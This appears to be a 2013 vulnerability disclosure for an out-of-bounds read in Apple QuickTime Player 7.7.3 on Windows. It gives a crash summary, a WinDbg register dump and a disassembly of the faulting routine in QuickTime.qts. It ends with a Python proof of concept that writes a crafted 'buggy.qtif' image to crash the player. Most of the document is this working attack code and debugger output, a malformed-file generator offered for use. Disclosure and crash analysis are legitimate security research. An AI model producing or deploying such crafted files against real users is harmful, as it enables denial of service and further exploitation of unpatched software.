# Title: Apple Quick Time Player (Windows)Version 7.7.3 Out of Bound Read
# Date: 28th January,2013
# Author: Debasish Mandal (https://twitter.com/debasishm89)
# Blog : http://www.debasish.in/
# Vendor Homepage: http://www.apple.com/
# Software Link: http://www.apple.com/quicktime/download/
# Version: Apple Quick Time version 7.7.3
# Tested on: Windows XP SP2 / Windows 7
'''
[+] Summary:

A memory out of bound read issue exists in Apple Quick Time Player v7.7.3 which can be triggered while 
trying to open a specially crafted "qtif" image file using Quick Time Player/Quick time 
Picture Viewer or Quick Time Browser Plug-in. If successful, a malicious third party could trigger an 
invalid memory access, leading to a crash of the process.

[+] Affected Module : QuickTime.qts

[+] Crash Point:

Faulting Instruction:
QuickTime!LIST_ComponentDispatch+0x15ffd3:
66a1a4e3 8b0c06          mov     ecx,dword ptr [esi+eax]
ds:0023:42531f20=????????

0:000> r
eax=41414198 ebx=58580000 ecx=414141a0 edx=58585858 esi=0111dd88
edi=41414198
eip=66a1a4e3 esp=0012f324 ebp=42424242 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000            
efl=00210293
QuickTime!LIST_ComponentDispatch+0x15ffd3:
66a1a4e3 8b0c06          mov     ecx,dword ptr [esi+eax]
ds:0023:42531f20=????????

[+] Buggy Code:(Code from C:\Program Files\QuickTime\QTSystem\QuickTime.qts)

66A1A4E1   77 70            JA SHORT QuickTim.66A1A553
66A1A4E3   8B0C06           MOV ECX,DWORD PTR DS:[ESI+EAX]
66A1A4E6   0FB65406 03      MOVZX EDX,BYTE PTR DS:[ESI+EAX+3]
66A1A4EB   894C24 14        MOV DWORD PTR SS:[ESP+14],ECX
66A1A4EF   8A7424 16        MOV DH,BYTE PTR SS:[ESP+16]
66A1A4F3   8BF9             MOV EDI,ECX
66A1A4F5   C1E7 10          SHL EDI,10
66A1A4F8   81E1 00FF0000    AND ECX,0FF00
66A1A4FE   0BF9             OR EDI,ECX
66A1A500   C1E7 08          SHL EDI,8
66A1A503   0BD7             OR EDX,EDI
66A1A505   8BCA             MOV ECX,EDX
66A1A507   7E 4A            JLE SHORT QuickTim.66A1A553
66A1A509   8D3C01           LEA EDI,DWORD PTR DS:[ECX+EAX]
66A1A50C   3BEF             CMP EBP,EDI
66A1A50E   72 43            JB SHORT QuickTim.66A1A553
66A1A510   3BF8             CMP EDI,EAX
66A1A512   72 3F            JB SHORT QuickTim.66A1A553
66A1A514   8B4C06 04        MOV ECX,DWORD PTR DS:[ESI+EAX+4]
66A1A518   0FB65406 07      MOVZX EDX,BYTE PTR DS:[ESI+EAX+7]
66A1A51D   894C24 14        MOV DWORD PTR SS:[ESP+14],ECX
66A1A521   8A7424 16        MOV DH,BYTE PTR SS:[ESP+16]
66A1A525   8BD9             MOV EBX,ECX
66A1A527   C1E3 10          SHL EBX,10
66A1A52A   81E1 00FF0000    AND ECX,0FF00
66A1A530   0BD9             OR EBX,ECX
66A1A532   8B4C24 18        MOV ECX,DWORD PTR SS:[ESP+18]
66A1A536   C1E3 08          SHL EBX,8
66A1A539   0BD3             OR EDX,EBX
66A1A53B   3BD1             CMP EDX,ECX
66A1A53D   74 04            JE SHORT QuickTim.66A1A543
66A1A53F   85C9             TEST ECX,ECX
66A1A541   75 07            JNZ SHORT QuickTim.66A1A54A
66A1A543   836C24 1C 01     SUB DWORD PTR SS:[ESP+1C],1
66A1A548   74 0B            JE SHORT QuickTim.66A1A555
66A1A54A   8BC7             MOV EAX,EDI
66A1A54C   8D48 08          LEA ECX,DWORD PTR DS:[EAX+8]
66A1A54F   3BCD             CMP ECX,EBP
66A1A551  ^76 90            JBE SHORT QuickTim.66A1A4E3
66A1A553   33C0             XOR EAX,EAX

[+] Proof of Concept : 

'''
# /usr/bin/python
buff = ""
buff += "\x00\x00\x48\x79\x69\x64\x61\x74"
buff += "\x5A"*18545			#Junks
buff += "\x00\x00\x00\x6E\x69\x64\x73\x63"	#nidsc header
buff += "\x42\x42\x42\x42"
buff += "\x5A"*82				#Junk
buff += "\x41"*3
buff += "\x42"	
buff += "\x58\x58\x58\x58"
f = open('buggy.qtif','w')
f.write(buff)
f.close()

